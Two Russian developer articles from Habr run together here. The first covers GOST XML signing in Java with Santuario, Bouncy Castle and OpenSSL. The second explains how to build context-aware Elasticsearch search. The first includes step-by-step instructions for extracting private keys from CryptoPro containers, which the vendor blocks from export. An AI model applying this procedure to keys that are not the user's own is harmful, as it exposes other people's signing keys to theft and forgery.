Отдельная хохма в том, что IntelliJ IDEA Community глючит при попытке отдебажить xmlsec, бросая step in отладчика в неверное место верных исходников. Я попробовал все разумные версии Идеи, поэтому понимать как это работает надо вслепую, написуя тактические письма в Спортлото. Это не в укор Идее, не существует идеальных инструментов, просто фактор повлиявший на скорость понимания вопроса.
Чтобы это заработало, нужно:
1) Заимплементить реализацию SignatureAlgorithmSpi из Apache Santuario. В GetEngineUri вернуть строку: "<http://www.w3.org/2001/04/xmldsig-more#gostr34102001-gostr3411>" (или что там у вас). Это ключевая магия. Совершенно ничего умного этот класс делать не должен.
Инициализация раз за всю жизнь приложения (н-р в синглтон-бине спринга):
2) Загрузить провайдер, чтобы не патчить JDK:
```
Security.addProvider(new BouncyCastleProvider());
```
3) Впердолить в рантайм только что написанный класс:
```
String algorithmClassName = "fully qualified name класса реализующего SignatureAlgorithmSpi";
Class.forName(algorithmClassName);
SignatureAlgorithm.providerInit();
SignatureAlgorithm.register("http://www.w3.org/2001/04/xmldsig-more#gostr34102001-gostr3411", algorithmClassName);
```
4) Достучаться до маппингов алгоритмов JCE:
```
String ns = "http://www.xmlsecurity.org/NS/#configuration";
Document document = DocumentBuilderFactory.newInstance().newDocumentBuilder().newDocument();
Element rootElement = document.createElementNS(ns, "JCEAlgorithmMappings");
Element algorithms = document.createElementNS(ns, "Algorithms");
```
5) Замапить метод на алгоритм:
```
Element aElem = document.createElementNS(NameSpace, "Algorithm");
aElem.setAttribute("URI", "http://www.w3.org/2001/04/xmldsig-more#gostr34102001-gostr3411");
aElem.setAttribute("Description", "GOST R 34102001 Digital Signature Algorithm with GOST R 3411 Digest");
aElem.setAttribute("AlgorithmClass", "Signature");
aElem.setAttribute("RequirementLevel", "OPTIONAL");
aElem.setAttribute("JCEName", "GOST3411WITHECGOST3410");
algorithms.appendChild(aElem);
```
6) Применить маппинги:
```
org.apache.xml.security.Init.init();
JCEMapper.init(rootElement);
```
6) PROFIT!
После этого XMLSignature резко начинает понимать этот метод, и начнет делать xmlSignature.sign.
Подготовка OpenSSL для работы с ГОСТ
====================================
Если у вас в начале статьи на стене висит OpenSSL, когда-нибудь он точно выстрелит.
Так что да, это важный момент, необходимый для осуществления дальнейшего текста.
* Так как у нас Крипто Про, и на Маке оно не взлетает, нам понадобится виртуальная машина с Windows (можно даже Windows XP), и установленной Криптой
* Установить как можно более актуальную версию OpenSSL (так, чтобы в ней уже была поддержка ГОСТ):
<https://wiki.openssl.org/index.php/Binaries>
<https://slproweb.com/products/Win32OpenSSL.html>
* Проверить, что в установленной версии есть файл gost.dll
* В установленном OpenSSL найти файл openssl.cfg
* В самое начало файла добавить строчку:
```
openssl_conf = openssl_def
```
* В самый конец файла добавить строчки:
```
[openssl_def]
engines = engine_section
[engine_section]
gost = gost_section
[gost_section]
engine_id = gost
dynamic_path = ./gost.dll
default_algorithms = ALL
CRYPT_PARAMS = id-Gost28147-89-CryptoPro-A-ParamSet
```
* PROFIT
Как мы можем попросить Крипто Про отдать ключи (на самом деле, нет)
===================================================================
Если у нас уже есть настоящие (не самоподписанные) ключи, то совершенно некисло было бы проверить их в действии. Да, мы говорим о тестовых целях, но таки доверяй — но проверяй!
Если поставить винду в виртуальную машину, накатить туда Крипто Про, установить ключи и попробовать их экспортировать, то обнаруживаем удивительную вещь: в экспортере не работает экспорт в PKCS12, а все остальные направления в экспортере заблокированы (англ. "grayed out").
Гуглю ошибку, и что же мы видим на официальном форуме?
<https://www.cryptopro.ru/forum2/default.aspx?g=posts&t=2425>
"От Алексея Писинина был получен ответ:
Добрый день. PKCS12 не соответствует требованиям безопасности ФСБ в части хранения закрытых ключей. В теории, закрытые ключи должны храниться на так называемых "съемных" носителях. Собственно, по этой причине и не работает экспорт."
Я правильно это читаю как, что у них гуй для экспорта есть, но бизнес-логики к нему нету?!
Ппоэтому каких галочек ни нащелкай — всегда будет выпадать ошибка на последнем шаге гуевого мастера?!
Какой же стыд.
Dear God,
Please kill them all.
Love, Greg.
Как мы можем грубо заставить Крипто Про отдать ключи
====================================================
Можно очень долго мучиться, пытаясь засучив C++ вычитать ключ из контейнера с помощью OpenSSL и такой-то матери. Я честно пытался, и разбился об задачу как корабль об скалы (по крайней мере, это задачка больше чем на 1 день для человека, который давно таким не занимался). На просторе интернетов мы не единственные, кто разбился об те же скалы: <http://gigamir.net/techno/pub903517>
Вот тут наступает момент "это радость со слезами на глазах". Некая контора под названием Лисси Софт, всего за 2 тыщи рублей отдает нам гениальную утилиту P12FromGostCSP. Ее создатели таки победили ту проблему, которую не осилило сообщество, и она выдирает ключи в PFX. Радость — потому что она работает.
Со слезами — потому что это проприетарщина, и она фиг знает как работает.
На картинке Ричард Столлман как бы удивляется и спрашивает: "неужели вы боретесь с проприетарщиной с помощью другой проприетарщины?"
Так что целиком инструкция по перегону ключей выглядит как-то так:
* Все действия производить на Windows (подойдет виртуальная машина) с установленным Крипто Про CSP;
* Подготовить OpenSSL с ГОСТом по инструкции (есть в этой статье).
* Купить P12FromGostCSP. Поплакать.
* Установить исходный ключ в КриптоПро (это заслуживает отдельной инструкции, но она гуглится).
* Запустить P12FromGostCSP (перед этим спрятать икону Ричарда Столлмана под стол, чтобы он не проклял тебя за запуск проприетарщины)
* Выбрать установленный сертификат, указать пароль сертификата КриптоПро
* Указать произвольный новый пароль (парольную фразу) для ключевой пары PFX
* Указать местоположение для сохранения файла. Файл лучше именовать в формате p12.pfx (это название по-умолчанию, лучше не трогать — говорят, есть баги, если переименовать)
* Получить pem файл:
```
openssl pkcs12 -in p12.pfx -out private.key.pem -name "alias"
```
* (-name "alias" — эта опция поменяет имя ключа внутри контейнера. Это нужно потому, что P12FromGostCSP именует ключи как попало (на самом деле, по порядку, цифрами), без сохранения исходного алиаса.
* Получить pkcs12 файл:
```
openssl pkcs12 -export -out private.key.pkcs12 -in private.key.pem -name "alias"
```
* Готово
Тестовые самоподписанные ключи
==============================
Так как мы деламем все это в тестовых целях, теперь мы подходим к кульминации и начинаем сами себе выдавать ключи.
Как выдать ключи в формате Крипто Про, я особо не заморачивался, потому что это просто не нужно в рамках текущей задачи. Но на всякий случай, существует сервис выдачи таких ключей: <http://www.cryptopro.ru/certsrv/>
* Все действия производить на Windows (подойдет виртуальная машина) с установленным Крипто Про CSP;
* Открыть сайт и перейти к выдаче ключа;
* Нужно выбрать пункт "Сформировать ключи и отправить запрос на сертификат" и нажать кнопку "Дальше";
* Щелкнуть по ссылке "Создать и выдать запрос к этому ЦС";
* Заполнить необходимые поля;
* Нажат кнопку "Выдать";
* Установить сертификат.
Выдача контейнера JKS
=====================
Этот вопрос широко представлен в интернете, поэтому можно сразу смотреть Stackoverflow:
<http://stackoverflow.com/questions/14580340/generate-gost-34-10-2001-keypair-and-save-it-to-some-keystore>
Идея в том, что раз уж мы все равно используем Bouncy Castle, то им же можем и сгенерить ключ.
Этот код не самый идеальный, но дает реально работающую реализацию (на практике у меня в результате получилось несколько объемных классов, чтобы сделать удобный интерфейс)
```
Security.addProvider( new org.bouncycastle.jce.provider.BouncyCastleProvider() );
KeyPairGenerator keyPairGenerator = KeyPairGenerator.getInstance( "ECGOST3410", "BC" );
keyPairGenerator.initialize( new ECGenParameterSpec( "GostR3410-2001-CryptoPro-A" ) );
KeyPair keyPair = keyPairGenerator.generateKeyPair();
org.bouncycastle.asn1.x500.X500Name subject = new org.bouncycastle.asn1.x500.X500Name( "CN=Me" );
org.bouncycastle.asn1.x500.X500Name issuer = subject; // self-signed
BigInteger serial = BigInteger.ONE; // serial number for self-signed does not matter a lot
Date notBefore = new Date();
Date notAfter = new Date( notBefore.getTime() + TimeUnit.DAYS.toMillis( 365 ) );
org.bouncycastle.cert.X509v3CertificateBuilder certificateBuilder = new org.bouncycastle.cert.jcajce.JcaX509v3CertificateBuilder(
issuer, serial,
notBefore, notAfter,
subject, keyPair.getPublic()
);
org.bouncycastle.cert.X509CertificateHolder certificateHolder = certificateBuilder.build(
new org.bouncycastle.operator.jcajce.JcaContentSignerBuilder( "GOST3411withECGOST3410" )
.build( keyPair.getPrivate() )
);
org.bouncycastle.cert.jcajce.JcaX509CertificateConverter certificateConverter = new org.bouncycastle.cert.jcajce.JcaX509CertificateConverter();
X509Certificate certificate = certificateConverter.getCertificate( certificateHolder );
KeyStore keyStore = KeyStore.getInstance( "JKS" );
keyStore.load( null, null ); // initialize new keystore
keyStore.setEntry(
"alias",
new KeyStore.PrivateKeyEntry(
keyPair.getPrivate(),
new Certificate[] { certificate }
),
new KeyStore.PasswordProtection( "entryPassword".toCharArray() )
);
keyStore.store( new FileOutputStream( "test.jks" ), "keystorePassword".toCharArray()
```
Выдача контейнера PKCS12
========================
В принципе, это не особо нужно, потому что у нас уже есть простой и удобный способ выдавать JKS, а JKS для Java это самое что ни на есть родное решение. Но для полноты картины, пусть будет.
* Подготовить OpenSSL с ГОСТом по инструкции (есть в этой статье).
* Сделать Cerificate Signing Request + приватный ключ (вписать нужные данные о ключе!):
```
openssl req -newkey gost2001 -pkeyopt paramset:A -passout pass:aofvlgzm -subj "/C=RU/ST=Moscow/L=Moscow/O=foo_bar/OU=foo_bar/CN=developer/emailAddress=olegchiruhin@gmail.com" -keyout private.key.pem -out csr.csr
```
* Подписать приватным ключом (на Windows эту операцию нужно делать с правами Administrator, иначе свалится с ошибкой "unable to write 'random state'"):
```
openssl x509 -req -days 365 -in csr.csr -signkey private.key.pem -out crt.crt
```
* Получить публичный ключ:
```
openssl x509 -inform pem -in crt.crt -pubkey -noout > public.key.pem
```
* GOST2001-md\_gost94 hex (если надо):
```
openssl.exe dgst -hex -sign private.key.pem message.xml
```
* MIME application/x-pkcs7-signature (если надо):
```
openssl smime -sign -inkey private.key.pem -signer crt.crt -in message.xml
```
* Превратить pem в pkcs12:
```
openssl pkcs12 -export -out private.key.pkcs12 -in private.key.pem -name "alias"
```
Резюме
======
В результате всех вышеописанных действий мы получили относительно легий способ избавиться от тяжкой ноши Крипто Про.
В дальнейшем хотелось бы продолжить борьбу за выпил до финальной победы: оформить все утилиты, генераторы ключей, самописные смэв-клиенты итп в виде одного репозитория на Гитхабе. Еще, очень хотелось бы получить права на модификацию и распространение под пермиссивной лицензией официального клиента СМЭВ. Тогда половина этой статьи была бы просто не нужна, и проблема решалась бы скачиванием нужного кода с Гитхаба. | https://habr.com/ru/post/282225/ | null | ru | null |
# Делаем действительно умный поиск: пошаговый гайд
*Поиск в корпоративной информационной системе* — уже от самой этой фразы вязнет во рту. Хорошо если он вообще есть, о положительном user experience можно даже не задумываться. Как перевернуть отношение пользователей, избалованных поисковыми системами, и создать быстрый, точный, понимающий с полуслова продукт? Надо взять хороший кусок Elasticsearch, горсть интеллектуальных сервисов и замешать их по этому гайду.
Статей о том, как к существующей базе прикрутили полнотекстовый поиск на основе Elasticsearch, в интернете уже предостаточно. А вот статей, как сделать действительно умный поиск, явно не хватает.
> При этом сама фраза «Умный поиск» уже превратилась в баззворд и используется к месту и нет. Что же такого должна делать поисковая система, чтобы её можно было считать умной? Ультимативно это можно описать как выдачу результата, который на самом деле нужен пользователю, даже если этот результат не совсем соответствует тексту запроса. Популярные поисковые системы вроде Google и Яндекс идут дальше и не просто находят нужную информацию, а напрямую отвечают на вопросы пользователя.
Окей, сразу на ультимативное решение замахиваться не будем, но что можно сделать чтобы приблизить *обычный* полнотекстовый поиск к *умному*?
Элементы интеллектуальности
---------------------------
Умный поиск — это как раз тот случай, когда количество может перейти в качество и множество небольших и достаточно простых фич может сформировать ощущение магии.
* Исправление ошибок пользователя — опечатка ли это, неправильная раскладка или, может быть, запрос с подозрительно маленьким количеством результатов, но похожий на запрос, по которому информации гораздо больше.
* За~~й~~чатки NLP (natural language processing, а не то, что вы подумали) — если пользователь ввёл ***коммерческие предложения за прошлый год***, действительно ли он хотел поискать эти слова в тексте всех документов или ему на самом деле нужны только коммерческие предложения и только за прошлый год?
* Предсказание ввода на основе предыдущих запросов или популярных документов.
* Представление результата — привычная подсветка найденного фрагмента, дополнительная информация в зависимости о того, что искали. Раз уж в предыдущем абзаце были нужны коммерческие предложения, то, может, имеет смысл сразу показать предмет предложения и от какой организации оно поступило?
* Легкий drilldown — возможность уточнять поисковый запрос с помощью дополнительных фильтров, фасет.
Вводная
-------
Есть ECM DIRECTUM со множеством документов в ней. Документ состоит из карточки с метаинформацией и тела, которое может иметь несколько версий.
Цель — быстро и удобно искать информацию в этих документах в привычной для пользователя поисковых систем манере.
Индексирование
--------------
> Чтобы что-то хорошо поискать, нужно это что-то вначале хорошо проиндексировать.
Документы в ECM не статичны, пользователи модифицируют текст, создают новые версии, изменяют данные в карточках; постоянно создаются новые документы и иногда удаляются старые.
Для поддержания актуальной информации в Elasticsearch документы нужно постоянно переиндексировать. К счастью, в ECM уже есть своя очередь асинхронных событий, поэтому при изменении документа достаточно добавить его в очередь для индексирования.
### Отображение документов ECM на документы Elasticsearch
Тело документа в ECM может иметь несколько версий. В Elasticsearch это можно было бы представить как массив nested-объектов, но тогда с ними становится неудобно работать — усложняется написание запросов, при изменении одной из версий надо переиндексировать всё, разные версии одного документа не могут храниться в разных индексах (зачем это может понадобиться — в следующем разделе). Поэтому мы денормализуем один документ из ECM в несколько документов Elasticsearch с одинаковой карточкой, но разными телами.
Кроме карточки и тела в документ Elasticsearch добавляется разная служебная информация, в которой отдельно стоит отметить:
* список ИД групп и пользователей, имеющих права на документ, — для поиска с учётом прав;
* количество обращений к документу — для тюнинга релевантности;
* время последней индексации.
### Состав индексов
Да, индексов во множественном числе. Обычно несколько индексов для хранения схожей по смыслу информации в Elasticsearch используются только если эта информация неизменяемая и привязана к какому-то временному отрезку, например логи. Тогда индексы создаются каждый месяц/день или чаще в зависимости от интенсивности нагрузки. В нашем случае может быть изменён любой документ, и можно было бы хранить всё в одном индексе.
Но — документы в системе могут быть на разных языках, а хранение мультиязычных данных в Elasticsearch несёт 2 проблемы:
* Неправильный стемминг. Для некоторых слов основа будет найдена корректно, для некоторых — некорректно (в индексе будет другое слово), для некоторых — вообще не будет найдена (индекс будет засоряться словоформами). Для некоторых слов из разных языков и имеющих разное значение основа будет совпадать, и тогда будет утеряно значение слова. Применение нескольких стеммеров подряд может приводить к довычислению основы у уже вычисленной.
> Стемминг — нахождение основы слова. Основа не обязательно должна являться корнем слова или его нормальной формой. Обычно хватает того, чтобы связанные слова проецировались в одну основу.
>
> Лемматизация — разновидность стемминга, в которой основой считается нормальная (словарная) форма слова.
* Некорректная частота слов. Часть механизмов определения релевантности в ES учитывает частоту искомых слов в документе (чем чаще, тем выше релевантность) и частоту искомых слов в индексе (чем чаще, тем ниже релевантность). Так, небольшое вкрапление русской речи в английском документе, когда в индексе преимущественно английские документы, будет иметь высокий вес, но стоит смешать в индексе английские и русские документы, и вес понизится.
Первую проблему можно решить для случая, когда разные языки используют разные наборы символов, (русско-английские документы используют кириллицу и латиницу) — языковые стеммеры будут обрабатывать только «свои» символы.
Как раз для решения второй проблемы мы использовали подход с отдельным индексом для каждого языка.
Комбинируя оба подхода, получим языковые индексы, которые тем не менее содержат анализаторы сразу для нескольких не пересекающихся по наборам символов языков: русско-английский (и отдельно англо-русский), польско-русский, немецко-русский, украино-английский и т.д.
Чтобы не создавать все возможные индексы заранее, использовали шаблоны индексов — Elasticsearch позволяет задать шаблон, который содержит настройки и маппинги, и указывать паттерн имени индекса. При попытке проиндексировать документ в несуществующий индекс, имя которого подходит под один из паттернов шаблона, будет не только создан новый индекс, но и к нему будут применены настройки и маппинги из соответствующего шаблона.
### Структура индексов
Для индексирования используем сразу два анализатора (через multi-fields): default для поиска по точной фразе и custom для всего остального:
```
"ru_en_analyzer": {
"filter": [
"lowercase",
"russian_morphology",
"english_morphology",
"word_delimiter",
"ru_en_stopwords"
],
"char_filter": [
"yo_filter"
],
"type": "custom",
"tokenizer": "standard"}
```
С фильтром lowercase всё понятно, расскажу про остальные.
Фильтры russian\_morphology и english\_morphology предназначены для морфологического анализа русского и английского текста соответственно. Они не входят в состав Elasticsearch и ставятся в составе отдельного плагина analysis-morphology. Это лемматизаторы, использующие словарный подход в сочетании с некоторыми эвристиками и работающие значительно, ЗНАЧИТЕЛЬНО, лучше встроенных фильтров для соответствующих языков.
```
POST _analyze
{
"analyzer": "russian",
"text": "Мыли руки с мылом"
}
>> мыл рук мыл
```
И:
```
POST _analyze
{
"analyzer": "ru_en_analyzer",
"text": "Мыли руки с мылом"
}
>> мыть рука мыло
```
Очень любопытный фильтр word\_delimiter. Он, например, помогает устранять опечатки, когда после точки нет пробела. Используем следующую конфигурацию:
```
"word_delimiter": {
"catenate_all": "true",
"type": "word_delimiter",
"preserve_original": "true"
}
```
yo\_filter позволяет игнорировать разницу между E и Ё:
```
"yo_filter": {
"type": "mapping",
"mappings": [
"ё => е",
"Ё => Е"
]
}
```
ru\_en\_stopwords фильтр с типом stop — наш словарь стоп-слов.
### Процесс индексирования
Тела документов в ECM — это, как правило, файлы офисных форматов: .docx, .pdf и т.д. Для извлечения текста используется плагин ingest-attachment со следующим pipeline:
```
{
"document_version": {
"processors": [
{
"attachment": {
"field": "content",
"target_field": "attachment",
"properties": [ "content", "content_length", "content_type", "language" ],
"indexed_chars": -1,
"ignore_failure": true
}
},
{
"remove": {
"field": "content",
"ignore_failure": true
}
},
{
"script": {
"lang": "painless",
"params": {
"languages": ["ru", "en" ],
"language_delimeter": "_"
},
"source": "..."
}
},
{
"remove": {
"field": "attachment",
"ignore_failure": true
}
}
]
}
}
```
Из необычного в pipeline — игнорирование ошибок отсутствия тела (такое случается для зашифрованных документов) и определение целевого индекса, исходя из языка текста. Последнее делается в painless-скрипте, тело которого я приведу отдельно, т.к. из-за ограничений JSON его приходится записывать в одну строку. Вкупе со сложностями отладки (рекомендуемый способ — генерация исключений там и сям) он и вовсе превращается в painful.
```
if (ctx.attachment != null)
{
if (params.languages.contains(ctx.attachment.language))
ctx._index = ctx._index + params.language_delimeter + ctx.attachment.language;
if (ctx.attachment.content != null)
ctx.content = ctx.attachment.content;
if (ctx.attachment.content_length != null)
ctx.content_length = ctx.attachment.content_length;
if (ctx.attachment.content_type != null)
ctx.content_type = ctx.attachment.content_type;
if (ctx.attachment.language != null)
ctx.language = ctx.attachment.language;
}
```
Таким образом, мы всегда посылаем документ в *index\_name*. Если язык не определился или не поддерживается, то в этом индексе документ и оседает, иначе попадает в *index\_name\_language*.
Само исходное тело файла мы не храним, но поле \_source включено, т.к. оно требуется для частичного обновления документа и подсветки найденного.
Если с момента последней индексации изменялась только карточка, то для её обновления используем [Update By Query API](https://www.elastic.co/guide/en/elasticsearch/reference/current/docs-update-by-query.html) без pipeline. Это позволяет, во-первых, не тянуть потенциально тяжелые тела документов из ECM, а во-вторых, значительно ускоряет обновление на стороне Elasticsearch — не приходится извлекать текст документов из офисных форматов, что весьма ресурсоёмко.
> Как такового обновления документа в Elasticsearch вообще нет, технически при обновлении из индекса достается старый документ, изменяется и снова полностью индексируется.
А вот если менялось тело, то старый документ вообще удаляется и индексируется с нуля. Это позволяет документам *переезжать* из одного языкового индекса в другой.
Поиск
-----
Для облегчения описания приведу скриншот итогового результата
### Полнотекст
Основным типом запроса у нас служит [Simple Query String Query](https://www.elastic.co/guide/en/elasticsearch/reference/current/query-dsl-simple-query-string-query.html):
```
"simple_query_string": {
"fields": [
"card.d*.*_text",
"card.d*.*_text.exact",
"card.name^2",
"card.name.exact^2",
"content",
"content.exact"
],
"query": "искомый текст",
"default_operator": "or",
"analyze_wildcard": true,
"minimum_should_match": "-35%",
"quote_field_suffix": ".exact"
}
```
где *.exact* — это поля, проиндексированные *default* анализатором. Важность имени документа считаем в два раза выше остальных полей. Сочетание `"default_operator": "or"` и `"minimum_should_match": "-35%"` позволяет находить документы в которых нет до 35% искомых слов.
### Синонимы
Вообще для индексирования и поиска используются разные анализаторы, но единственное отличие в них — это добавление фильтра для подмешивания синонимов в поисковый запрос:
```
"search_analyzer": {
"filter": [
"lowercase",
"russian_morphology",
"english_morphology",
"synonym_filter",
"word_delimiter",
"ru_en_stopwords"
],
"char_filter": [
"yo_filter"
],
"tokenizer": "standard"
}
```
```
"synonym_filter": {
"type": "synonym_graph",
"synonyms_path": "synonyms.txt"
}
```
### Учёт прав
Для поиска с учетом прав основной запрос вложен в [Bool Query](https://www.elastic.co/guide/en/elasticsearch/reference/current/query-dsl-bool-query.html), с добавлением фильтра:
```
"bool": {
"must": [
{
"simple_query_string": {...}
}
],
"filter": [
{
"terms": {
"rights": [ ИД текущего пользователя и всех групп в которых он состоит ]
}
}
]
}
```
Как помним из раздела про индексацию, в индексе есть поле с ИД пользователей и групп, имеющих права на документ. Если есть пересечение этого поля с переданным массивом — значит есть и права.
### Тюнинг релевантности
По умолчанию Elasticsearch оценивает релевантность результатов по алгоритму [BM25](https://ru.wikipedia.org/wiki/Okapi_BM25), используя запрос и текст документа. Мы решили, что на оценку соответствия желаемого и фактического результата должны влиять ещё три фактора:
* время последнего редактирования документа — чем дальше в прошлом оно было, тем менее вероятно, что нужен именно этот документ;
* количество обращений к документу — чем больше, тем вероятнее, что нужен этот документ;
* у версий тела в ECM есть несколько возможных состояний: разрабатываемая, действующая и устаревшая. Логично, что действующая важнее остальных.
Добиться такого влияния можно с помощью [Function Score Query](https://www.elastic.co/guide/en/elasticsearch/reference/current/query-dsl-function-score-query.html):
```
"function_score": {
"functions": [
{
"gauss": {
"modified_date": {
"origin": "now",
"scale": "1095d",
"offset": "31d",
"decay": 0.5
}
}
},
{
"field_value_factor": {
"field": "access_count",
"missing": 1,
"modifier": "log2p"
}
},
{
"filter": {
"term": {
"life_stage_value_id": {
"value": "Д"
}
}
},
"weight": 1.1
}
],
"query": {
"bool": {...}
}
}
```
В результате, при прочих равных, получается примерно такая зависимость модификатора рейтинга результата от даты его последнего изменения X и количества обращений Y:
[](https://www.wolframalpha.com/input/?i=exp(-max(0,+x+-+31)%5E2+%2F+(2+*+-((365*3)%5E2+%2F+(2*ln(0.5)))))*+log10(y+%2B+2)+plot+0+<%3Dx+<%3D+1000,+1+<%3D+y+<%3D+1000)
### Внешний интеллект
Для части функциональности умного поиска нам необходимо извлечь из поискового запроса различные *факты*: даты с указанием их применения (создания, изменения, утверждения и т.п.), названия организаций, виды искомых документов и т.п.
Также желательно классифицировать запрос в определённую категорию, например, документы по организациям, по сотрудникам, нормативные и т.п.
Эти две операции выполняются интеллектуальным модулем ECM — [DIRECTUM Ario](https://www.directum.ru/ario).
### Процесс умного поиска
Настало время подробнее рассмотреть, какими механизмами реализуются элементы интеллектуальности.
#### Исправление ошибок пользователя
Определение правильности раскладки происходит на основе триграмной модели языка — для строки вычисляется, насколько вероятно встретить её трехсимвольные последовательности в текстах на английском и русском языках. Если текущая раскладка считается менее вероятной, то, во-первых, показывается подсказка с исправленной раскладкой:
а во-вторых, дальнейшие этапы поиска выполняются с исправленной раскладкой:
И уж если с исправленной раскладкой ничего не найдётся, то поиск запускается с оригинальной строкой.
Исправление опечаток реализовано с помощью [Phrase Suggester](https://www.elastic.co/guide/en/elasticsearch/reference/current/search-suggesters-phrase.html). С ним есть проблема — если выполнить запрос на нескольких индексах одновременно, то suggest может ничего не вернуть, в то время как при выполнении только на одном индексе результаты есть. Это *лечится* установкой confidence = 0, но тогда suggest предлагает заменять слова на их нормальную форму. Согласитесь, странно будет при поиске "письм**а**" получить ответ в духе: *Возможно, вы искали письм**о**?*
Это можно обойти, используя сразу два suggester'а в запросе:
```
"suggest": {
"content_suggest": {
"text": "искомый текст",
"phrase": {
"collate": {
"query": { тут схожий с основным поисковый запрос по тексту {{suggestion}} }
},
}
},
"check_suggest": {
"text": "письма",
"phrase": {
"collate": {
"query": { тут схожий с основным поисковый запрос по тексту {{suggestion}} - ({{source_query}}) },
"params": {
"source_query": "искомый текст"
}
},
}
}
}
```
Из общих параметров используются
```
"confidence": 0.0,
"max_errors": 3.0,
"size": 1
```
Если первый suggester вернул результат, а второй нет, значит этот результат — сама исходная строка, возможно со словами в других формах, и подсказку показывать не надо. В случае, если подсказка всё-таки требуется, исходная поисковая фраза сливается с подсказкой. Это происходит путем замены только исправленных слов и только тех, которые проверка орфографии (используем Hunspell) сочтёт некорректными.
Если поиск по исходной строке вернул 0 результатов, то он заменяется полученной слиянием строкой и снова выполняется поиск:
Иначе полученная строка с подсказками возвращается только в качестве подсказки для поиска:
#### Классификация запросов и извлечение фактов
Как я уже упоминал, мы используем DIRECTUM Ario, а именно сервис классификации текстов и сервис извлечения фактов. Для этого мы отдали аналитикам обезличенные поисковые запросы и список фактов, которые нам интересны. На основе запросов и знаний о том, какие документы есть в системе, аналитики выделили несколько категорий и обучили сервис классификации определять категорию по тексту запроса. Исходя из получившихся категорий и списка фактов, сформулировали правила использования этих фактов. Например, фраза ***за прошлый год*** в категории **Все** считается датой создания документа, а в категории **По организации** — датой регистрации. При этом ***созданные в прошлом году*** должно в любой категории попадать в дату создания.
Со стороны поиска — сделали конфиг, в котором прописали категории, какие факты в какие фасетные фильтры применяются.
#### Автодополнение ввода
Кроме уже упоминавшегося исправления раскладки, в автодополнение попадают прошлые поисковые запросы пользователя и общедоступные документы.
Они реализованы с помощью другого вида Suggester'ов — [Completion Suggester](https://www.elastic.co/guide/en/elasticsearch/reference/current/search-suggesters-completion.html), но у каждого есть свои нюансы.
##### Автодополнение: История поисков
Пользователей в ECM гораздо меньше, чем у поисковых систем, и выделить для них достаточное количество общих запросов ~~почему ленин гриб~~ не представляется возможным. Показывать всё подряд тоже не стоит из-за соображений приватности. Обычный Completion Suggester умеет искать только по всему набору документов в индексе, но к нему на помощь приходит [Context Suggester](https://www.elastic.co/guide/en/elasticsearch/reference/current/suggester-context.html) — способ задать для каждой подсказки некий контекст и при поиске фильтровать по этим контекстам. Если в качестве контекстов использовать имена пользователей, то каждому можно показывать только его историю.
Также нужно дать пользователю возможность удалить подсказку, за которую ему стыдно. В качестве ключа для удаления мы использовали имя пользователя и текст подсказки. В результате для индекса с подсказками получился такой, немного дублирующийся, маппинг:
```
"mappings": {
"document": {
"properties": {
"input": {
"type": "keyword"
},
"suggest": {
"type": "completion",
"analyzer": "simple",
"preserve_separators": true,
"preserve_position_increments": true,
"max_input_length": 50,
"contexts": [
{
"name": "user",
"type": "CATEGORY"
}
]
},
"user": {
"type": "keyword"
}
}
}
}
```
Вес для каждой новой подсказки устанавливается в единичку и увеличивается при каждом повторном вводе с помощью [Update By Query API](https://www.elastic.co/guide/en/elasticsearch/reference/current/docs-update-by-query.html) с очень простым скриптом `ctx._source.suggest.weight++`.
##### Автодополнение: Документы
А вот документов и возможных комбинаций прав может быть ну очень много. Поэтому тут мы, наоборот, решили при автодополнении фильтрацию по правам не делать, но индексировать только общедоступные документы. Да и удалять отдельные подсказки из этого индекса не надо. Казалось бы, реализация во всём легче предыдущей, если бы не два момента:
Первый — Completion Suggester поддерживает только префиксный поиск, а клиенты так любят присваивать всему номенклатурные номера, и какой-нибудь `ЖПА.01.01 Правила сокращения слов` по мере ввода запроса ***Правила сокращения*** не найти. Тут вместе с полным именем можно индексировать и производные от него n-граммы:
```
{
"extension": "pdf",
"name": "ЖПА.01.01 Правила сокращения слов",
"suggest": [
{
"input": "слов",
"weight": 70
},
{
"input": "сокращения слов",
"weight": 80
},
{
"input": "Правила сокращения слов",
"weight": 90
},
{
"input": "ЖПА.01.01 Правила сокращения слов",
"weight": 100
}
]
}
```
С историей это было не так критично, всё же один и тот же пользователь вводит примерно одну и ту же строку, если ищет что-то повторно. *Наверное*.
Второй — по умолчанию все подсказки равны, но нам бы хотелось некоторые из них сделать равнее и желательно так, чтобы это было согласовано с ранжированием результатов поиска. Для этого надо примерно повторить функции gauss и field\_value\_factor, используемые в [Function Score Query](https://www.elastic.co/guide/en/elasticsearch/reference/current/query-dsl-function-score-query.html).
Получается вот такой pipeline:
```
{
"dir_public_documents_pipeline": {
"processors": [
...
{
"set": {
"field": "terms_array",
"value": "{{name}}"
}
},
{
"split": {
"field": "terms_array",
"separator": "\\s+|$"
}
},
{
"script": {
"source": "..."
}
}
]
}
}
```
со следующим скриптом:
```
Date modified = new Date(0);
if (ctx.modified_date != null)
modified = new SimpleDateFormat('dd.MM.yyyy').parse(ctx.modified_date);
long dayCount = (System.currentTimeMillis() - modified.getTime())/(1000*60*60*24);
double score = Math.exp((-0.7*Math.max(0, dayCount - 31))/1095) * Math.log10(ctx.access_count + 2);
int count = ctx.terms_array.length;
ctx.suggest = new ArrayList();
ctx.suggest.add([
'input': ctx.terms_array[count - 1],
'weight': Math.round(score * (255 - count + 1))
]);
for (int i = count - 2; i >= 0 ; --i)
{
if (ctx.terms_array[i].trim() != "")
{
ctx.suggest.add([
"input": ctx.terms_array[i] + " " + ctx.suggest[ctx.suggest.length - 1].input,
"weight": Math.round(score * (255 - i))]);
}
}
ctx.remove('terms_array');
ctx.remove('access_count');
ctx.remove('modified_date');
```
Зачем вообще городить pipeline с painless вместо того, чтобы написать это на более удобном языке? Потому что теперь с помощью [Reindex API](https://www.elastic.co/guide/en/elasticsearch/reference/current/docs-reindex.html) в индекс для подсказок можно перегнать содержимое поисковых индексов (указав только нужные поля, разумеется) буквально в одну команду.
Состав действительно нужных общедоступных документов обновляется не часто, поэтому эту команду можно оставить на ручном запуске.
### Отображение результатов
#### Категории
Категория определяет, какие фасеты будут доступны и как будет выглядеть сниппет. Может быть определена автоматически *внешним интеллектом* или выбрана вручную над строкой поиска.
#### Фасеты
Фасеты — это такая интуитивно понятная всем штука, поведение которой, тем не менее, описывается весьма нетривиальными правилами. Вот несколько из них:
1. Значения фасетов зависят от результатов поиска, НО и результаты поиска зависят от выбранных фасетов. Как избежать рекурсии?
2. Выбор значений внутри одного фасета не влияет на другие значения этого фасета, но влияет на значения в других фасетах:
